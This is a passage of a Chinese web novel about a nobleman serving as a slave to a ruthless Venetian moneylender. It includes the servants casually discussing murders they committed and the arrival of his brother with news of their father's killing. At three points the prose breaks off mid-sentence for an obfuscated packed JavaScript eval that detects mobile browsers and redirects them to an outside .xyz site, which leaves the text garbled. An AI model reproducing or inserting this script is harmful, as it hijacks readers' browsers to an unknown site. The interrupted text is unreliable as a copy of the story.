海因里希再次被莉莉斯拉着穿过人群来到停靠贡多拉的水道边。红发的小女孩一蹦一跳地背靠船头坐上船,看着海因里希跌跌撞撞地站上船尾。由于贡多拉两头翘起,船头船尾的颠簸比船中吃水的部分要剧烈许多,更不要说人站直后重心更高,也就更难站稳了。 “夫人,我怕真要是我来划,您会有生命危险。”海因里希吃力地握住沉重的实木桨板,好不容易才站直身体,勉勉强强维持住平衡。 “放~轻~松~”莉莉斯狡黠地笑着,“把船桨送进水里往后划就好啦。” 海因里希努力按照莉莉斯说的去做,可船体一直随着波浪起伏摇摆,晃得他摇摇欲坠,手中木桨也像灌了铅似的沉。他丝毫没有掌握如何利用水的流向去划,只感觉到水中沉重的阻力,用尽了蛮力才将船体努力推波向前。 “是这样吗!?”海因里希略带绝望地朝莉莉斯喊道。 “嗯……不太对,你要想象海水是一个通情达理的人,你要做的是和他心平气和地对话,而不是动不动就大打出手。” “啊??” 还没等海因里希参透莉莉斯神秘的谏言,很快就因为前方的景象而傻了眼。狭窄的水道中有一个低矮的桥洞,矮到海因里希若是站在高高翘起的船尾上,就算弯下腰来也不可能过得去。 “我该怎么办!?” “别怕。” 莉莉斯回过头看了一眼桥洞,站起身坐在了船的右侧,和海因里希处于同样一边,两个人的重量压得船体突然往右侧下沉,吓得海因里希弯下膝盖,直接跪倒在了船尾上,差一点就摔进河道里去。 “接下来你要站在右侧船弦的边缘上划,因为这边吃水更深,等下过桥洞的时候位置更低,你蹲下来就能过得去了。” “这怎么可能站得住??” 他看了一眼在水面上歪成了将近有45度的船体,颤颤巍巍地重新站起身。他按照莉莉斯说的小心翼翼地站上船弦,这时一个细小的波浪带起船微微浮动,扑通一声,可怜的新手船夫便跌进了水中。 “哎呀,没事的,没什么丢人的。”莉莉斯幸灾乐祸地趴在船沿上,装模作样地向在水中挣扎的海因里希伸出援手,“我以前也掉进去过,多掉进去几次就学会了。” “是吗?” 海因里希皱着眉头握住莉莉斯拉他上船的手,装作不小心地用力向下一拉,穿着漂亮裙子的女主人顿时也被连累着掉进了河里。她当然知道海因里希是故意的,就像他也非常清楚莉莉斯是故意选了这么一条难走的水路存心想看他吃瘪掉进瀉湖。可他们都没有互相指控的证据。海因里希将计就计,装作十分委屈地看向同样掉进水里的莉莉斯: “夫人,是我不好,我错了,请您原谅我好不好。” 【注】本段描写参考了历史资料《财富之城:威尼斯海洋霸权》,作者是罗杰·克劳利 23. 摔碎在地上的心 两个浑身湿透的人狼狈不堪地爬上小船,最后还是莉莉斯一边骂骂咧咧一边快速将船划回了家。海因里希识相地去为女主人准备洗澡用的热水,趁着烧水的间隙接冷水把自己身上清理干净,然后换了一身衣服去莉莉斯的浴室伺候她。 湿漉漉的莉莉斯裹着毯子,狼狈得像一只落水的猫,她充满怨念地紧紧盯着海因里希,仿佛她自己并不是铸成这个糟糕局面的罪魁祸首。 “别生气了,气坏了不值得。”海因里希将热水倒进浴缸,为莉莉斯准备好干净的浴巾和换洗的裙子,“我以后一定勤加练习划船,再也不会让您跌进水里去了。” “等塞西莉娅回来有你好果子吃,我要让她把最辛苦最累的家务全都安排给你来做!”莉莉斯恶狠狠地瞪了他一眼,重重地带上浴室的门。 等莉莉斯洗完之后,她穿着睡衣回到客厅里,由海因里希用干浴巾为她擦拭头发。他在阳光下仔细得用手解开莉莉斯头发上的结。 “作为害得您跌进水里的补偿,以后有机会我教您骑马好不好?” “你还会骑马?”莉莉斯激动地转过头,不慎扯到了头发,疼得叫出了声。 “会。而且我能保证您在学习的时候不从马上摔下来。” “真的吗?”莉莉斯半信半疑地绕着自己的头发玩,“其实我还从来没有离开过威尼斯,只在画像里见过人骑马。你,塞西莉娅,伊万卡,甚至塔塔都比我去过的地方要多好多。我很喜欢听她们说她们来这里以前的故事。告诉我,骑马是什么样的感觉?” “马也是动物,所以骑马更像是一种合作。”海因里希回忆着骑马时的感觉。 “那不是和划船很像吗?划船是与大海的合作。”莉莉斯眨了眨眼睛。 “还是不太一样的。接受过训练的马儿通常很乖,比水流要好沟通得多。” “你知道吗,在通用意大利语里,海(mare)是阳性的,但在威尼斯方言中却是阴性(mar)。一个月以后的耶稣升天节,那帮老贵族还要在码头上举行一年一度的与大海的婚礼仪式。” “与大海的婚礼?” “是啊,一群花天酒地不修边幅的老头子,把自己想象成是大海的丈夫,可实际上只是他们猥琐的一厢情愿,一点也没有对大自然的敬畏之心。而且这些莫名其妙的性别比喻真是令人作呕。骑马的人是不是也会会用这样的类比吗?” “将坐骑比做女人或妻子,在骑士文学中屡见不鲜。而且通常女士骑马得使用专门的侧鞍,两腿并在同一边,由侍者牵着马来控制,否则会被视为不合礼法。” “我才不要学侧骑,简直像是在过家家,连自己对马的掌控权都没有,怎么还算得上是骑马?那看来我必须得学会跨骑了,我要像男的一样骑马。现在就教我。” “现在?可是这里根本没有马…?” “你来扮演马。”莉莉斯一幅理所当然的态度发号施令道,“快点,快点跪下。” “这和真的骑马毫无关联,就像你没法在陆地上教会人怎么划贡多拉,即使你找一个人来躺在地上扮作贡多拉。”海因里希耐着性子应对莉莉斯的无理取闹。 “我亲爱的海因里希,听话~”莉莉斯露出惯用的虚伪假笑,后半句话的语气却比冬天的海水还要冰,“像马一样跪在我面前,这是命令。“ 如果说莉莉斯在海因里希心中的位置总在一根两端分别标着“可爱”与“可恨”的横轴上位移,那么此时此刻的莉莉斯已经几乎滑落到了“可恨”的极值边缘。 “骑马有什么需要准备的工具,缰绳,马鞍,还有马鞭对吧?”红发的少女极其顽劣地笑着,“把你的皮带给我。” 海因里希感到非常不悦。尽管莉莉斯平常也总是对他提出一些不合理的要求,但是她现在下达的命令简直是彻头彻尾的羞辱。他十分后悔那次在索菲亚家里为了安抚莉莉斯而提出的应对方案。他本没有必要为她付出那么多。何况这两次的事性质也截然不同,一次是海因里希自愿,而现在的情况则完全是莉莉斯在单方面强迫。 “我没有拒绝的权力是吗。” “嗯,你没有。因为你是我的奴隶,就算名义上已经赎身了,事实上你仍旧是我的奴隶,不能违抗我,也不能离开我。” 莉莉斯不知是没有察觉到海因里希微妙的异样还是故意选择了忽视。她蛮横地解下海因里希的腰带绕起圈来充当鞭子,把刚才擦头发用的浴巾叠起来放在他的腰上当作马鞍,拽住他的衬衫后领当作缰绳,然后岔开双腿准备坐上去。 “你们这是在干什么!” 突然回到家的塞西莉娅厉声打断了这场荒唐的闹剧。海因里希第一次在看到塞西莉娅那张不苟言笑的脸时居然萌生出了一种解脱与救赎感。倒是莉莉斯被吓了一跳,吓得赶紧丢掉手里的皮带,眨了眨眼睛,脑子里立刻蹦出来一套应对的鬼点子。 “你回来啦,亲爱的塞西莉娅——”她笑着提着裙子走到塞西莉娅面前,张开双臂将比她高半个头的侍女热情地揽入怀中,“复活节快乐!” 海因里希看得一愣。他后知后觉地意识到莉莉斯若即若离产生一些肢体接触的对象从来都不只有他一个人。拥抱也好,牵手也好,只是她拉拢别人、达成目的的手段。 毛罗在监狱中的诅咒又一次回荡在他的耳边。编织一个甜蜜的陷阱,用虚伪的面孔来博得同情,这一切都是为了满足她自己的利益而已。 “夫人……夫人!”塞西莉娅轻手轻脚地将向八爪鱼一样缠在她身上的莉莉斯给扒拉下来,“门外有客人来拜访您。是……玛丽亚,她说她是来道别的,想与您在见最后一面说些心里话。” 莉莉斯瞬间拉下脸。玛丽亚的造访没有给她留下过任何好印象。即使作为威尼斯执法机关的四十人委员会已经下达了对毛罗的审判,莉莉斯也在名义上赦免了作为从犯与受害者的玛丽亚,不代表她真的原谅了她,更何况她身上还携带着具有传染性的梅毒。 “让她在外面等着。”莉莉斯冷语道,“塞西莉娅,陪我去换身衣服。海因里希,把地上收拾干净。” 海因里希单膝跪在客厅的丝绒地毯上,像收垃圾一样捡起毯子上落下的皮带和浴巾。明明地上就只有这两件东西,他却总觉得有什么别的东西被狠狠砸在地上碎了一地,怎么收也收不起来了。 玛丽亚被晾在门口等了半晌,莉莉斯才梳妆打扮整齐放她进来。由于天气渐热,莉莉斯换上了一身较为清凉的黑色薄纱长裙,露出修长的胳膊和脖颈,未婚夫赠送的绿宝石项链在午后阳光下更显璀璨耀眼。 这回玛丽亚也换上了一身黑裙子,不知是在祭奠自己永远无法再见的丈夫还是在诅咒他早日下地狱。高领与长袖遮住了皮肤上的红斑,脸上则扑着一层厚厚的白粉与假得瘆人胭脂,整个人除了那头稀疏的亚麻色长发与尽显疲态的双眼以外,似乎没有什么能够坦坦荡荡地真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973648|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实暴露在外的部分了。 “施密德尔夫人,复活节快乐。”玛丽亚打量了一眼客厅中拆到一半的守丧装潢,“您最近好吗?” “托您丈夫的福,一切都非常好。”莉莉斯笑容满面地回应道,“您呢?” “还不错。”面对莉莉斯毫不留情的讽刺挖苦,玛丽亚不卑不亢地回答,“我找到了一位真正的女巫,她替我调配了药草,帮我把孩子打掉了。” 莉莉斯沉默地睁大了眼睛。蓄意堕胎被教会视作重罪,量刑标准与通奸、杀人无异。她从未想过原本致力成为一名贤妻良母的玛丽亚会狠下心来杀死自己的孩子。 “为我治疗法兰西病的医师告诉我,若要缓解病症扩散必须要采取水银疗法,孩子本来也活不下来,不如尽早除去,省得胎死腹中留下更大的隐患。” “可这是要被送上火刑架的重罪……” “我这辈子积攒的罪孽也不少,不怕多这一条。”玛丽亚轻声细语地说着,语气却异常冷静,“从在给你做的点心里下毒开始,我就知道自己一定会下地狱了。这件事确实是我对不起你,我也并不奢求你的原谅。” “那你来找我干什么?”莉莉斯有些不耐烦。 “我是来道别的。明天我就会启程前往维罗纳乡村的疗养院,由我在维罗纳的母家出资,今后非必要也不会再回威尼斯了。” “那很好。” “离开之前,我想对你说些心里话。之前在您先生的葬礼上……你对我施以援手,是我在克纳罗家、甚至在威尼斯唯一一次受到帮助。所以我是真的很感谢你,也很抱歉对你的善意恩将仇报。但其实,我也非常非常羡慕你。“ “羡慕我?”莉莉斯挑眉,“羡慕一个被你们一次又一次往死里陷害的私生女吗?” “羡慕你不用忍受一天入坟墓般孤寂压抑的婚姻生活,就能以已婚妇女的身份经营自己的事业。羡慕你孑然一身,反而不需要为家族和孩子操碎了心。羡慕你有忠心耿耿的仆人,能够尽心竭力地辅佐你。” “可是你现在也有了自己做主的选择权,不是吗?”莉莉斯浅浅抿了一口手中握着的红酒,“在维罗纳迎接你的新生活吧。复活节快乐。” “或许吧,如果我能从病魔手中捡回一条命来的话。”玛丽亚露出了一贯的苦笑,从莉莉斯面前的沙发上站起身,“感谢您的祝福,也感谢您今天愿意见我。我走了,希望您未来一切顺遂。” “您也是。塞西莉娅,送客吧。“ 海因里希沉默地望向玛丽亚远去的背影。突然感觉她在某些方面和莉莉斯其实很像。都是被亲族中的男性逼至绝境,却又不得不用迫害他人的方式来为自己或自己在乎的事抗争。在毛罗被流放以后,她会像莉莉丝一样过上自己想要的生活吗? 他的目光回到莉莉斯身上。他似乎越来越看不懂她了。她对玛丽亚的祝福到底是真心实意还是逢场作戏,他不知道。但他终于彻底认清了莉莉斯是怎么看待他的,无论他做出多少付出与奉献,无论他怎么样努力帮她,对她好,她也只是把他当做一个听话好用可以随意取乐的奴隶。 可他对莉莉斯的爱意却绝不仅仅是权力关系中下位者对于上位者掌权地位的向往与幻想。他是发自内心地欣赏着莉莉斯不畏惧、不妥协世俗教条的坚韧与桀骜,喜欢她身涉险境时也能沉着冷静,狡猾地做出反击。可是莉莉斯就像一团火,炽烈地燃烧着,靠得太近了就会被灼伤。 24. 慈悲的后果 复活节的第二天仍旧是假期,但是由于外面下雨,仆从们都只是在家里休息,并没有像昨天一样纷纷出门。莉莉斯便借此机会把大家都聚在了一起,说是要教他们怎么做意大利饺子(ravioli)。 “我小时候没有被父亲接去主家宫殿住的时候,我和妈妈两个人一起过复活节,她就教我怎么包饺子。正好这几天可以庆祝复活节,也提前庆祝我们的银行顺利开业。” 莉莉斯坐在厨房备菜用的小桌前,塔塔、伊万卡和塞西莉娅好奇地聚在她周围看她隔着热水融化黄油和奶酪。而海因里希站在旁边,一边机械地剁碎案板上的香草,一边生无可恋地望着窗外的雨,默默感叹自己今天可能又去不成那家巴伐利亚酒馆了。 距离他上次从酒馆递出消息已经过去了大半个月,算下来这几天正是有可能收到回信的时间。如果这三天“放假”里他都抽不出时间,难以想象接下来的工作日里他要怎么才能找到机会。 尽管他已经习惯了在莉莉斯家中的生活,但他不可能以莉莉斯的仆人的身份就这么过一辈子。他已经帮助莉莉斯度过了生死存亡的危机,也成功将恃强凌弱的恶人送进监狱。现在他必须得为自己的未来着想了。 无论是逃离威尼斯也好,向莉莉斯复仇也罢,他得做些什么,至少得让自己重新以海因里希·施密德尔的身份面对世人。所幸他并不是家里不受宠爱的私生子,得到家族的助力后做所有事都能事半功倍。可这一切的开始都得建立在他和家族能够重新建立联系。 他又想起那封在毛罗的审判之夜开始之前,莉莉斯收到的那封由叔父赫尔穆特寄给她的信。这封信里到底写了什么,又被莉莉斯收到了哪里去?莉莉斯闺房的大门总是牢牢紧锁,海因里希想要潜入进去并不容易,找到信的位置更是难上加难,还没有排除信件已经被莉莉斯阅后即焚的可能性。到底有什么办法可以知道那封信的内容…… “喂!海因里希,别偷懒了,快点过来帮忙擀面啦。” 莉莉斯用擀面杖指着已经把香草剁碎成泥的海因里希,招呼他来继续接手费力气的重体力活。她自己则抱着一个木碗,将海因里希切碎的香草倒进她融化好的奶酪馅料里搅拌均匀。塞西莉娅掀起纱布,从托盘里拿出来一块醒发好的面团丢在海因里希面前。 “擀成什么样?”说实话,他以前从来没有进过厨房,更别谈用擀面杖。他甚至根本不知道莉莉斯念叨着的“意大利饺子”究竟是什么意思。 “擀成接近方形的大面皮,擀得厚度平均一点,不要有的地方太薄有的地方又没擀平。然后我会把调好的馅料隔一点放一块在上面,最后再擀一张同样大的面皮,铺上去,按照馅料的位置把面皮分切成小方块,再一个个捏紧,饺子就包好啦。” “原来意大利饺子是这么做的。”平常一贯沉默寡言的伊万卡突然说话了,“在我的家乡也有一种类似的食物,波兰饺子(pierogi),也是用面皮包裹馅料的食物,只不过我们会把面皮擀成手掌这么大的圆形,放了馅料之后将面皮对折,最后做出来的饺子是半圆形。” “那和我的家乡的饺子很像,也是半月形。”塞西莉娅补充道,“但是也有用小张的方形面饼做的,叫做馄饨,里面通常包的是肉馅,或者菜肉馅。如果包的是甜味的馅料,则通常会捏成一个球形。” “你们可太厉害了吧!”塔塔兴奋地咽了咽口水,“无论是哪一种,我都还从来没有吃过……” “那么大家都来做自己家乡的饺子吧!这样我们就可以品尝到来自不同地方的料理了。”莉莉斯笑着安排道,“海因里希,你也会做波兰饺子吗?” “啊……我不会。”海因里希愣了一下,才反应过来莉莉斯一直将他当作斯拉夫人的误解,“我以前从来没有做过厨房里的工作。” “那你现在就可以开始学习怎么做了。继续擀面皮吧。塔塔,帮我准备肉馅。” “好嘞!夫人,我跟你讲,我小时候只有过节的时候才吃到过肉,但是来到夫人这工作之后,每天都能吃到新鲜的肉,真是太幸福了……” 莉莉斯心安理得地靠坐在椅子上有一句没一句地和塔塔她们聊天。纵然外面凄风苦雨,但厨房里暖黄色的烛光将氛围渲染得十分温馨。可海因里希却一直忧心忡忡,无数没有解开的谜团在脑海中打转,他实在没有心思配合莉莉斯表演一场家庭和美、团结融洽的好戏。 他的眼神移向伊万卡。对方正在专心致志地擀面皮。他看见她撸起的袖管下暴露在外的小臂,左手的臂膀上绑着一层厚厚的绷带。他顿时回想起那个与毛罗对峙的夜晚,在他护送着莉莉斯回到家门口的时候,看见伊万卡将三具尸体抛进小船,而莉莉斯对这件事竟全然置若罔闻,后来也再没有提起。 “伊万卡,你受伤了吗?”海因里希将一张摊好的面皮摆在莉莉斯面前,装作不经意地问。 “哦,是的,昨晚的工作中途出了点小意外,幸好还是顺利得手了,没有辜负夫人的期待。“伊万卡有些害羞地解释道。 “得手……?” “她每次来的时候都是一个人,从不带护卫或侍女,没想到身边居然还跟着那么一两个能打的人。“莉莉斯用小勺子将拌好的馅料一勺一勺地放在铺开的面皮上,“以后这种脏活累活还是让海因里希去干吧,伊万卡,你要好好休息。” “我也可以帮忙!我平常都有好好锻炼身体!这次的事情我都没能怎么帮到夫人,实在是愧疚。“塔塔半撒娇似地向女主人展示自己剁得细碎的肉泥。 海因里希觉得塔塔谄媚的语气有些令人不适。一早他就注意到了塔塔对他微妙的态度转变。自从她发现海因里希一直留着夫人赏赐他的那枚家纹戒指,而她自己的那枚却被塞西莉娅出面收走之后,她便开始仇视海因里希,仿佛将他视作了竞争对手。 “你还是先做好自己份内的事吧。”塞西莉娅冷冷地斜了一眼她,抬起锋利的刀刃将白色的长条状面团切成一个又一个小剂子,“要不是你的工作出了差池,家门口的地毯也不至于会被血污弄脏了。” “等等……你们在说什么,‘她’是谁?家门口的地毯……血污??” 海因里希突然感到一阵毛骨悚然。他就这么眼睁睁地看着这四个女人一边温馨和睦地包饺子,向对方分享来自家乡的美食,一边轻松愉快地聊起了有关杀人的话题。 “还能是谁?”塔塔很不耐烦地白了一眼总是抢去她风头的海因里希,“当然是玛丽亚。昨天晚上不赶紧解决她,难道还要等她离开威尼斯,到了维罗纳再动手吗?” “……玛丽亚?” “你难道真的觉得我会放过她?”莉莉斯坏笑着瞥了瞥海因里希,然后转过头继续专心致志地摆放馅料,“我不会放过任何一个让我感觉到威胁的人的。” “可她现在已经彻底失去威胁了……不是吗……?我以为您接受了她的道歉……”海因里希强忍住胸腔里翻江倒海几乎要溢出来的情绪,他甚至分不清楚这到底是愤怒、恐惧还是失望。他的脑海中闪回出莉莉斯让玛丽亚迎接新生活时讳莫如深的表情。他原以为那是莉莉斯别扭的仁慈,不成想这竟是谋杀前虚情假意的伪装。 他以为她会对玛丽亚施以一丝同情。她们都是女人,经历了同样的虐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973649|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待、屈辱和迫不得已,玛丽亚的处境甚至比莉莉斯更加恶劣糟糕——身染绝症,家破人亡,无依无靠,弱小到对莉莉斯已经构不成任何威胁——这样的人在莉莉斯严重原来也是非死不可吗? “拜托,她和毛罗串通在一起,两次差点害死了我。”莉莉斯对海因里希翻了个白眼,用开玩笑的语气对他说。 海因里希眼前浮现出莉莉斯在家族长辈面前一边撒娇示弱一边为玛丽亚和三个妓女求情时楚楚可怜的做派,突然有些犯恶心想吐。 “那么……当天晚上那几具被伊万卡抛上船的尸体……” “她们找上门来,想要恳求夫人的庇护。”塞西莉娅将红通通的肉馅填进圆形的饺子皮,“做出了这种见风使舵、卖主求荣的事,又得罪了克纳罗家族,原先的老鸨不可能再收留她们。毛罗手下若还有使得动的人,也必定会去杀她们报仇。她们唯一的选择就只有赌一把,来求夫人放她们一条生路。” “去处理这种不入流的渣滓原本属于我的工作范畴。但我那天晚上实在是被夫人的处境吓得魂都飞了,完全忘记了还要去灭口,所以她们找上门来,弄脏了夫人门口的地毯。”塔塔将牛里脊肉上剔下来的筋膜丢进垃圾桶,“不过伊万卡姐姐确实比我厉害得多……我还要多多努力才行。” “清理宅邸是女仆份内的工作。”伊万卡轻声细语地说,笑着和塔塔对视一眼,将饺子皮上的开口一一封住。 “是那三个妓女。原来您连她们也没放过。” 莉莉斯似乎有些不高兴了。她抬起头,灰绿色的眼睛直勾勾地瞪着他: “海因里希,难道你会容忍一个之前企图杀死你但没有得手的人大摇大摆地继续活在你面前吗?” 海因里希怔怔地看向她。一名杀他未遂的凶手正好就在他的面前。 当然了,她要杀的是海因里希·施密德尔,是那个“对她产生威胁”的丈夫,并不是眼前这个可以随意使唤差遣的佣人。只不过他扮演了太久莉莉斯的奴隶,久到他差点快要忘记自己是谁。 “或许……会吧。”他郑重地回答着,全身上下克制不住地发抖,“但以后不会了。” “那就对了。要是有谁敢欺负你,我一定会帮你报复的。”莉莉斯笑着说,“来帮我一起把新的一张面皮盖上来吧。” 海因里希的大脑里一团乱麻。他不知道自己是怎么熬过了这场令他如坐针毡的“家庭聚会”,又是怎么吃下那一个个形状各异的、仿佛包裹着人血的饺子。莉莉斯的话语令他犯恶心,而他对这样一个恶毒女人的爱意与向往更令他想要呕吐。他知道自己必须做出抉择了。向她复仇也好,一走了之也罢,他得做些什么,不能再这样坐以待毙,放任自己沉浸在这样道德沦丧的环境里自甘堕落,用别人的血去暖自己。 无论如何,他今夜都要去那家巴伐利亚酒馆。就算收不到任何有用的消息,起码能喝着来自家乡的啤酒借酒消愁。 等顶楼莉莉斯卧房的灯光暗下来后许久,海因里希披上黑色的披风,拿上雨伞,轻手轻脚地打开小楼的后门。他看见街角迎面走来另一个用披风与兜帽掩住身形与面容的人。对方全身都湿透了,手里似乎抱着什么东西,走路的姿势一瘸一拐。海因里希下意识警惕地握住匕首,向对方发问。 “你是谁。” “这里是海因里希·施密德尔与莉莉安娜·施密德尔居住的宅邸吗?”来者说着一口德国口音的意大利语,摘下兜帽,脸上满是鲜血,但海因里希还是一眼就认出了他来,“我是来此美因河畔法兰克福的威廉·施密德尔,海因里希·施密德尔的亲弟弟。我需要帮助!” 25. 错位的仇恨 海因里希摘下兜帽,冲上前去紧紧抱住自己的弟弟,冰冷的雨水淋湿了他的斗篷和头发,双手沾满了威廉身上的血污。 “你怎么了?伤得严重吗?是谁要害你?”海因里希难以置信地看着满身是伤的威廉。离开家乡这么久以来,他几乎从未再开口说过德语,再听见自己的发音甚至都感到陌生。 威廉的个子比他略矮一点,一母同胞的亲兄弟有着相似的金发与蓝眼睛。但威廉的五官线条更柔和,没有海因里希那么凌厉严肃,平日总是以和煦而真挚的微笑示人。饶是他的亲哥哥,也很少有机会见到他露出这么一副痛苦不堪的表情。 “我没事,只是些无伤大雅的小伤。”威廉强忍着疼痛咧出一个苦笑。 “你有没有收到我寄给你的那些信?” “信?什么信?我没有收到信。一个月前我就出发来威尼斯了。哥,事情太复杂了,三言两语我说不清楚。” 海因里希警惕地回过头看了一眼莉莉斯的小楼,赶紧扶着威廉的肩膀将他拽进附近的暗巷里。 “我带你去一个安全的地方,我们坐下来慢慢说。” 海因里希带着他穿过几条小巷来到巴伐利亚酒馆。雨夜里的酒馆人并不算很多,暖黄色的灯光氤氲在木质装潢的房间里显得格外温馨。海因里希向酒馆老板开了一间房间,让弟弟能够暂且安置下来。 他将两人淋湿的斗篷架在壁炉旁边烤干,随即立刻开始检查威廉身上的伤口。右腿脚踝扭伤,额头上有一记严重的擦伤,似乎是被什么粗糙坚硬的东西磨得鲜血淋漓。左手小臂上有一道刀痕,幸好切口不深,也已经做了简单的包扎处理,目前并无大碍。海因里希问酒馆老板要了干净的纱布和一些白兰地,用蘸了热水的湿毛巾擦干威廉身上的血污。 在灯光下威廉才注意到哥哥眉骨上狰狞的伤痕。结合海因里希并没有带他回家,而是将他带来酒馆的行径,他大概能够猜到哥哥在威尼斯的处境也不算好过。 “哥哥,您和克纳罗家的小姐……嫂子相处得还好吗?” 海因里希长叹一口气,有些语塞,将白兰地浇在威廉手臂的伤口上为他消毒:“还是先说你的事情吧。这些伤怎么回事?” “这倒不要紧,我初来乍到不熟悉路,被强盗劫持,给了钱他们就放我走了。嘶——好疼……” “这都不要紧,那还有什么要紧的?所以你为什么会来威尼斯?” “我……”威廉欲言又止,笑容在脸上渐渐消失,“看来你还没有得到消息。” “消息?什么消息?到底发生了什么?”海因里希想起了莉莉斯收到的那封来自赫尔穆特的信,心中暗暗萌生出不好的预感。 “家里出了变故。在你出发前往威尼斯的两个月后……大致是今年三月初的时候,我们的父亲……他去世了。叔父赫尔穆特……暂时继承了当家的位置。” 海因里希睁大了眼睛,心中仿佛砸下了一块巨石,将微弱的希望全部碾得粉碎。 “父亲他……怎么走的。” “医生的说法是病逝。可父亲一向身体健康,洁身自好。他老人家正满怀期待地等着你迎娶克纳罗家的小姐回家,怎么可能在这种时候无缘无故地病逝?我曾想自己出钱再去请别的医师来看看,可是母亲拦住我,不让我这么做。” “母亲是对的。你如果掌握了能够推翻他的证据,就必死无疑了。”海因里希眉头紧锁,额头上青筋暴起,拼尽全力让自己冷静,“明眼人一眼就能看出来。他趁着唯一成年的长子外出之际,杀害了我们的父亲,夺取了家族的财产。你要是敢做出反抗质疑他的举动,下一个遭殃的就是你。” “所以……母亲让我立刻收拾行装到威尼斯来投奔你,也来劝你暂时不要回去。” 海因里希在心中琢磨着时间线。他一月初新年伊始之际从家里出发,二月到达威尼斯后沦为奴隶,三月初被莉莉斯买回家——那时父亲去世,威廉踏上了前往威尼斯的旅程,因此一封信也没有收到。甚至连克纳罗家于三月初发出的海因里希的“死讯”都没有得知。 也就是说,他对于海因里希的现状一无所知。 “不过幸好……你现在娶了克纳罗家的小姐,我们至少能够寻求克纳罗家的帮助……” “不。克纳罗家帮不了我们。”海因里希打断了威廉的幻想,“我并没有和她结婚。我现在的身份是她的仆人。” “你说什么?!这怎么可能?” 海因里希将自己的遭遇和盘托出,遭遇劫匪,沦为奴隶,又被买凶杀人的未婚妻在不知情的情况下买走。除了那些对莉莉斯不可告人的爱恨交织,他对威廉近乎无所保留地讲完了他在这里发生的故事。 兄弟俩陷入长久的沉默。 “我总觉得有什么地方不对劲。”海因里希又一次想起了那封信,那封他不知内容的,杀父仇人寄给莉莉斯的信,“为什么赫尔穆特会选择在我走后两个月才动手?照理来说,从家往反威尼斯的路程是一个月,如果我按照原计划,在威尼斯没有做停留便直接回家,那可能正是我已经快要到家的时候。” “除非他已经知道了,你其实根本就不会踏上回程……” “克纳罗家在三月份才公开发出我的讣告,能够在二月初就知道我的‘死讯’,并将消息递出去的人就只有一个。” “你是说……莉莉安娜·克纳罗……” “没错,莉莉安娜·克纳罗,‘放贷的莉莉斯’。这场联姻根本就是一个彻头彻尾的骗局。赫尔穆特与她勾结,把唯一成年的长子引到威尼斯来杀害,然后他就可以在确保我死亡,家中没有其他成年男子能够继承产业的时候以‘代管家业’的名义夺权。等到一个月后,在得知了我的‘死讯’后再顺理成章地将父亲取而代之。而那封信,自然就是赫尔穆特向他的共犯送来得手的好消息。” 威廉绝望地看向海因里希,眼神中尽是绝望、恐惧与迷茫。 “那我们……现在该怎么办?” “复仇。当然是复仇。”海因里希咬牙切齿地说。 “你打算怎么做?” “我要制定一个计划,利用莉莉斯的力量去夺回施密德尔家族的产业,让赫尔穆特血债血偿。”海因里希的目光移向壁炉里燃烧的火,不自觉地摩挲着莉莉斯送给他的戒指,“而莉莉斯……她同样得为她犯下的罪孽付出代价,只不过对付她要简单得多。” “为什么?” “她其实是一个很单纯的人,单纯的趋利,单纯的恶毒。她自己为了积累财富就能做出各种丧心病狂的事来自掘坟墓。只要我继续待在她身边掌握她的罪证,就能轻易地扳倒她。这就像在路西法与上帝的博弈中,幻化成蛇的恶魔只需要引着夏娃找到禁果,她就会心甘情愿地自己摘下来吃进去。” 威廉若有所思地点了点头。几个月不见,他的哥哥似乎和以前也大不相同了。如果是以前的海因里希,在知道父亲的死讯之后,估计会恨不得直接提上重剑去挑战赫尔穆特,与篡权的叔父来一场骑士之间正义的决斗吧。他不禁十分好奇海因里希在威尼斯到底都经历了些什么,居然也开始像一个成熟的商人似的精打细算起利益得失来了。 “最主要的是……我必须行动起来,不能再因为一些莫名其妙的缘故而踌躇不前了。” 言罢,海因里希从腰间掏出钱包,将刚拿到不久的工资几乎全部留给了弟弟,这足以支付接下来一个月威廉在威尼斯的衣食住行。现在他得走了,得赶在有人发现之前回去,绝不能引起莉莉斯的怀疑。他们约好了一周后的同一时间在这家酒馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973650|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼下见面,海因里希预备将带着复仇计划的草案前来。 窗外的雨仍旧没有停。他披上已经被炉火烤干的披风,消失在了黑色的雨夜里。 / 莉莉斯做了一个很长很长的梦。 